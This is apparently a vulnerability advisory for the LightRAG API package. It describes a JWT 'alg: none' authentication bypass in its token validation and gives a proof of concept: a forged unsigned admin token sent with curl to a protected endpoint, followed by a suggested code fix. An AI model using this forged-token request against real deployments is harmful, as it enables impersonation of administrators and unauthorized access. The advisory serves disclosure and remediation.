PT-2026-59247 · Pypi · Hkuds Lightrag

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

4.2

Medium

VectorAV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate token method calls:
python
payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])
This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:
json
{
 "header": {
  "alg": "none",
  "typ": "JWT"
 },
 "payload": {
  "sub": "admin",
  "exp": 1700000000,
  "role": "admin"
 }
}
Then send a request like:
bash
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate token method to:
python
allowed algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed algorithms)
Or better yet, hardcode the expected algorithm(s):
python
payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Fix

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Related Identifiers

PYSEC-2026-2592

Affected Products

Hkuds Lightrag